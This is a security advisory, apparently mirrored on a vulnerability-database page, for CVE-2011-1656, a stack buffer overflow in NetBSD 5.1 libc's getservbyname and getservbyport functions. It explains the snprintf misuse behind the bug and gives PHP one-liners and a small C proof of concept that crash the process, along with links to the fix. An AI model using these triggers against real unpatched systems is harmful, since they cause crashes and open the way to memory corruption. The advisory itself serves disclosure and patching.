Lucene search
K

NetBSD 5.1 libc/net multiple functions stack buffer overflow

🗓️ 05 Jul 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 35 Views

NetBSD 5.1 libc/net multiple functions stack buffer overflow. Vulnerability in getservbyname(3) and getservbyport(3) functions leads to possible buffer overflow

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-1656
1 Jul 201100:00
circl
CVE
CVE-2011-1656
6 Jul 201100:00
cve
Packet Storm
NetBSD 5.1 libc/net Stack Buffer Overflow
1 Jul 201100:00
packetstorm
securityvulns
NetBSD 5.1 libc/net multiple functions stack buffer overflow
6 Jul 201100:00
securityvulns
securityvulns
NetBSD network functions buffer overflow
6 Jul 201100:00
securityvulns

                                                [ NetBSD 5.1 libc/net multiple functions stack buffer overflow ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/

Date:
- Dis.: 01.04.2011
- Pub.: 01.07.2011

CVE: CVE-2011-1656 
CWE: CWE-121

Affected software:
- NetBSD 5.1 (fixed)

Affected functions:
- getservbyname(3)
- getservbyname_r(3)
- getservbyport(3)
- getservbyport_r(3)
- getaddrinfo(3)
- getnameinfo(3)

Original URL:
http://securityreason.com/achievement_securityalert/99


--- 0.Description ---
The getservbyname(), and getservbyport() functions each return a pointer to an object with the following structure 
containing the broken-out fields of a line in the network services data base,

     struct servent *
     getservbyname(const char *name, const char *proto);

     struct servent *
     getservbyport(int port, const char *proto);

The getservbyname() and getservbyport() functions sequentially search from the beginning of the file until a matching 
protocol name or port number is found, or until EOF is encountered.  If a protocol name is also supplied (non-NULL), 
searches must also match the protocol.


--- 1. NetBSD 5.1 libc/net multiple functions stack buffer overflow ---
The main problem exists in files like getservbyname_r.c and getservbyport_r.c. Functions getservbyname*(3), 
getservbyport*(3) and getaddrinfo(3) of NetBSD libc implementation, provides to possible buffer overflow. To 
demonstrate this issue, we may use PHP as an attack vector.

127# php -r 'getservbyname("A",str_repeat("A",7108));' 
127# php -r 'getservbyname("A",str_repeat("A",7109));' 
Memory fault (core dumped)

-php-5.3.6/ext/standard/basic_functions.c---
PHP_FUNCTION(getservbyname)
{
        char *name, *proto;
        int name_len, proto_len;
        struct servent *serv;

        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &name, &name_len, &proto, &proto_len) == FAILURE) {
                return;
        }
..
        serv = getservbyname(name, proto); <==== CALL TO LIBC
-php-5.3.6/ext/standard/basic_functions.c---

BT:
#0  0xbb8b2d65 in __log2 () from /usr/lib/libc.so.12
#1  0xbb8afa2e in __call_hash () from /usr/lib/libc.so.12
#2  0xbb8b0ebd in __hash_open () from /usr/lib/libc.so.12
#3  0xbb8884c2 in getservbyname_r () from /usr/lib/libc.so.12
#4  0xbb822f6f in getservbyname () from /usr/lib/libc.so.12
#5  0x08334458 in php_get_highlight_struct ()

Let's see what is wrong with getservbyname(). 

-getservbyname.c---
struct servent *
getservbyname(const char *name, const char *proto)
{
        struct servent *s;

        mutex_lock(&_servent_mutex);
        s = getservbyname_r(name, proto, &_servent_data.serv, &_servent_data); <=== REFERENCE
        mutex_unlock(&_servent_mutex);
        return (s);
}
-getservbyname.c---

as we can see, getservbyname(3) redirect to getservbyname_r(3) function. 

-getservbyname_r.c---
        if (sd->flags & _SV_DB) {
                char buf[BUFSIZ]; 
                DBT key, data;
                DB *db = sd->db;
                key.data = buf;

                if (proto == NULL)
                        key.size = snprintf(buf, sizeof(buf), "\376%s", name); <===== INVALID key.size HERE
                else
                        key.size = snprintf(buf, sizeof(buf), "\376%s/%s", <===== INVALID key.size HERE
                            name, proto);
                key.size++;
                        
                if ((*db->get)(db, &key, &data, 0) != 0)
                        return NULL;
                
                if ((*db->get)(db, &data, &key, 0) != 0)
                        return NULL;
-getservbyname_r.c---

key.size may be bigger as BUFSIZ.

snprintf(3) return number of characters that would have been written had size been sufficiently large (not counting the 
terminating null). In this case, snprintf(3) return bigger value as sizeof(buf). In older libc implementations, 
snprintf(3) should return -1, if the string is truncated.

The same problem is with getservbyport_r(3).

-getservbyname_r.c---
        if (sd->flags & _SV_DB) {
                char buf[BUFSIZ];
                DBT key, data;
                DB *db = sd->db;
                key.data = buf;

                port = htons(port);
                if (proto == NULL)
                        key.size = snprintf(buf, sizeof(buf), "\377%d", port); <===== INVALID key.size HERE
                else
                        key.size = snprintf(buf, sizeof(buf), "\377%d/%s", port, <===== INVALID key.size HERE
                            proto);
                key.size++;
                        
                if ((*db->get)(db, &key, &data, 0) != 0)
                        return NULL;
                
                if ((*db->get)(db, &data, &key, 0) != 0)
                        return NULL;
-getservbyname_r.c---

And the last PoC:
-PoC---
/*
127# gcc -o grr grr.c && ./grr 6050 
127# gcc -o grr grr.c && ./grr 6051 
Memory fault (core dumped) 
127# 


*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
        char *cycek;
        cycek=malloc(atoi(argv[1]));

        if(!cycek) return 1;
        memset(cycek,'A',atoi(argv[1]));

        getservbyname(cycek,"tcp");

        return 0;
}
-PoC---

NetBSD has fixed this issue. Use cvs netbsd-5-1 and netbsd-5-0 to up-to date your system. 

There are no others vulnerable libc implementations. Only FreeBSD 8.2 use wrong snprintf(3) in getservent.c

http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libc/net/getservent.c?rev=1.23.10.3.4.1;content-type=text%2Fplain

GNU libc may give problem with alloca().
 

--- 2. Fix ---
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyname_r.c
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyport_r.c

NetBSD CVS tags:
- netbsd-5-1
- netbsd-5-0
- netbsd-5


--- 3. Greets ---
Christos Zoulas, sp3x, Infospec


--- 4. Contact ---
Author: Maksymilian Arciemowicz

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation